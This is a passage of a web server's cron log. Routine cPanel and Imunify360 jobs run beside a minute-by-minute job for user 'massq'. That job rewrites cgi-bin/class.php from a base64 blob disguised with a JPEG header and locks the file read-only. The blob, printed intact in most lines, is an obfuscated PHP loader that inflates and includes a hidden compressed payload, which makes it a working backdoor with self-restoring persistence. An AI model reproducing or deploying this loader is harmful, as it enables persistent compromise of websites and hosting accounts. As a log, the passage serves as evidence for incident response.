b1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 16:18:01 server CROND[13814]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 16:18:01 server CROND[13815]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 16:18:01 server CROND[13816]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 16:19:01 server CROND[14218]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 16:19:01 server CROND[14219]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 16:19:01 server CROND[14220]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 16:20:01 server CROND[14612]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  7 16:20:01 server CROND[14613]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  7 16:20:01 server CROND[14615]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  7 16:20:01 server CROND[14617]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 16:20:01 server CROND[14619]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 16:20:01 server CROND[14623]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  7 16:20:01 server CROND[14628]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 16:20:01 server CROND[14618]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 16:20:01 server CROND[14625]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 16:21:01 server CROND[15533]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 16:21:01 server CROND[15534]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 16:21:01 server CROND[15535]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 16:22:01 server CROND[15914]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 16:22:01 server CROND[15913]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 16:22:01 server CROND[15915]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 16:23:01 server CROND[16281]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 16:23:01 server CROND[16282]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 16:23:01 server CROND[16283]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 16:24:01 server CROND[16663]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 16:24:01 server CROND[16664]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 16:24:01 server CROND[16665]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 16:25:01 server CROND[17057]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  7 16:25:01 server CROND[17059]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 16:25:01 server CROND[17062]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  7 16:25:01 server CROND[17060]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 16:25:01 server CROND[17063]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 16:25:01 server CROND[17061]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep  7 16:25:01 server CROND[17066]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 16:25:01 server CROND[17065]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 16:26:01 server CROND[18003]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 16:26:01 server CROND[18004]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 16:26:01 server CROND[18005]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 16:27:01 server CROND[18385]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  7 16:27:01 server CROND[18388]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 16:27:01 server CROND[18387]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 16:27:01 server CROND[18386]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 16:28:01 server CROND[18776]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 16:28:01 server CROND[18778]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 16:28:01 server CROND[18779]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 16:29:01 server CROND[19161]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 16:29:01 server CROND[19160]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 16:29:01 server CROND[19163]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 16:30:01 server CROND[19551]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  7 16:30:01 server CROND[19552]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  7 16:30:01 server CROND[19562]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
